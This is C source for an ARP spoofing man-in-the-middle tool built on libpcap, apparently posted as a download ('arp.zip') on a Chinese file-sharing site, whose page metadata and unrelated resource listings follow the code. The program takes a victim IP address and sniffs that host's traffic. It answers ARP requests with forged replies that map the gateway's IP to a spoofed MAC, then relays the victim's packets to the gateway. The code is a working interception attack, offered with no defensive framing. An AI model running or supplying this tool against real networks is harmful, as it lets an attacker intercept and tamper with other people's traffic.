#include <stdio.h>
#include <pcap.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <stdlib.h>
#include <string.h>
#define DEF_ETH_DEV "eth0"
#define SPOOFED_MAC "00:0c:29:4e:52:96"
#define GATEWAY_MAC "00:50:56:f4:d7:95"
#define GATEWAY_IP "\xc0\xa8\xe9\x02"
#define NUM_PACKETS 500
#define TIME_OUT 1000
#define PROMISC 1
#define ETH_HEADER_LEN 14
#define SNAP_LEN 1518
#define MAC_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_PROTOCOL 0x0806
#define ARPOP_REQUEST 1
#define ARPOP_REPLY 2
struct Ethernet_Header {
unsigned char dest_mac[6];
unsigned char src_mac[6];
unsigned short protocol;
};
struct ARP_Header {
unsigned short hardware_type;
unsigned short protocol_type;
unsigned char hardware_addr_len;
unsigned char protocol_addr_len;
unsigned short opcode;
unsigned char src_mac[6];
unsigned char src_ip[4];
unsigned char dest_mac[6];
unsigned char dest_ip[4];
};
void set_filter_expr(char*, char*);
void process_device(char*, char*, char*, struct bpf_program, bpf_u_int32, char*);
void process_packet(u_char*, const struct pcap_pkthdr*, const u_char*);
pcap_t* handle;
void set_filter_expr(char* filter_expr, char* victim_ip) {
//To set the filter expression for filtering the host as victim
printf("set_filter_expr :: in");
strcat(filter_expr,"host ");
strcat(filter_expr,victim_ip);
printf("set_filter_expr :: out");
return;
}
void process_device(char* victim_ip, char* device, char* errbuf, struct bpf_program fp, bpf_u_int32 net, char* filter_expr) {
printf("Process_Device :: in");
handle = pcap_open_live(device,SNAP_LEN,PROMISC,TIME_OUT,errbuf);
if(handle == NULL) {
printf("Process_Device :: handle is null. Program terminates.");
printf("Process_Device :: %s",errbuf);
exit(EXIT_FAILURE);
}
if(strlen(errbuf) > 0) {
printf("Process_Device :: Error Buffer cleaned.");
errbuf[0] = 0;
}
set_filter_expr(filter_expr,victim_ip);
if(pcap_compile(handle, &fp, filter_expr,0,net) == -1) {
printf("Process_Device :: Error in filter expression. ");
exit(EXIT_FAILURE);
}
if(pcap_setfilter(handle, &fp) == -1) {
printf("Process_Device :: Filter expression not being set.");
exit(EXIT_FAILURE);
}
pcap_loop(handle,-1,process_packet,NULL);
pcap_freecode(&fp);
pcap_close(handle);
printf("Process_Device :: out");
return;
}
void process_packet(u_char* args, const struct pcap_pkthdr* header, const u_char* packet) {
struct Ethernet_Header *ethernet_header, *t_ethernet_header;
struct ARP_Header *arp_header, *t_arp_header;
ethernet_header = (struct Ethernet_Header*)packet;
arp_header = (struct ARP_Header*)(packet + ETH_HEADER_LEN);
if(ntohs(ethernet_header->protocol) == ARP_PROTOCOL) //if the packet is of ARP Type
{
unsigned char temp[6];
printf("process_packet :: ARP Request found");
//Ethernet Packet formation
memcpy(ethernet_header->dest_mac,ethernet_header->src_mac,MAC_ADDR_LEN);
memcpy(ethernet_header->src_mac,(void*)ether_aton(SPOOFED_MAC),MAC_ADDR_LEN);
//ARP Packet formation
arp_header->opcode = htons(ARPOP_REPLY);
memcpy(temp,arp_header->src_mac,MAC_ADDR_LEN);
memcpy(arp_header->src_mac,(void*)ether_aton(SPOOFED_MAC),MAC_ADDR_LEN);
memcpy(arp_header->dest_mac,temp,MAC_ADDR_LEN);
memcpy(temp,arp_header->src_ip,IP_ADDR_LEN);
memcpy(arp_header->src_ip,GATEWAY_IP,IP_ADDR_LEN);
memcpy(arp_header->dest_ip,temp,IP_ADDR_LEN);
//Injecting the packet
pcap_inject(handle,packet,sizeof(struct Ethernet_Header)+sizeof(struct ARP_Header));
printf("process_packet :: Fake ARP reponse injected");
}
else
{
//Simply forward the packet to the gateway
memcpy(ethernet_header->src_mac,(void*)ether_aton(SPOOFED_MAC),MAC_ADDR_LEN);
memcpy(ethernet_header->dest_mac,(void*)ether_aton(GATEWAY_MAC),MAC_ADDR_LEN);
pcap_inject(handle,packet,header->caplen);
}
return;
}
int main(int argc, char** argv) {
char *device = DEF_ETH_DEV;
char *network_addr, *net_mask;
struct in_addr addr;
char filter_expr[100]= "";
bpf_u_int32 mask;
bpf_u_int32 net;
char victim_ip[100] = "";
struct bpf_program fp;
char err_buf[PCAP_ERRBUF_SIZE];
printf("Main :: in");
if(argc < 2)
{
printf("Please enter the Victim IP. The format for run is Prompt> program_name Victim_ip \n");
printf("Main :: Fewer Arguments, program exits");
return 1;
}
pcap_lookupnet(device, &net, &mask, err_buf);
//After lookup adding the network address and netmask values
addr.s_addr = net;
network_addr= inet_ntoa(addr);
addr.s_addr = mask;
net_mask = inet_ntoa(addr);
strcpy(victim_ip, argv[1]);
process_device(victim_ip, device, err_buf, fp, net, filter_expr);
printf("Main :: out");
return 0;
}
arp.zip_in
版权申诉
64 浏览量
2022-09-20
22:04:37
上传
评论
收藏 2KB ZIP 举报
我虽横行却不霸道
- 粉丝: 75
- 资源: 1万+
最新资源
- Python 程序语言设计模式思路-行为型模式:策略模式:将算法封装成独立的类,并使它们可以互相替换及支付模式数据压缩
- main.py
- Last Loaded Test.DBK
- Screenshot_20240520_163011.jpg
- ubuntu-python3-whisper-tornado docker镜像 Dockerfile
- ubuntu-python3-whisper-tornado docker镜像07
- 新录音 8.m4a
- ubuntu-python3-whisper-tornado docker镜像
- ubuntu-python3-whisper-tornado docker镜像
- ubuntu-python3-whisper-tornado docker镜像09
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈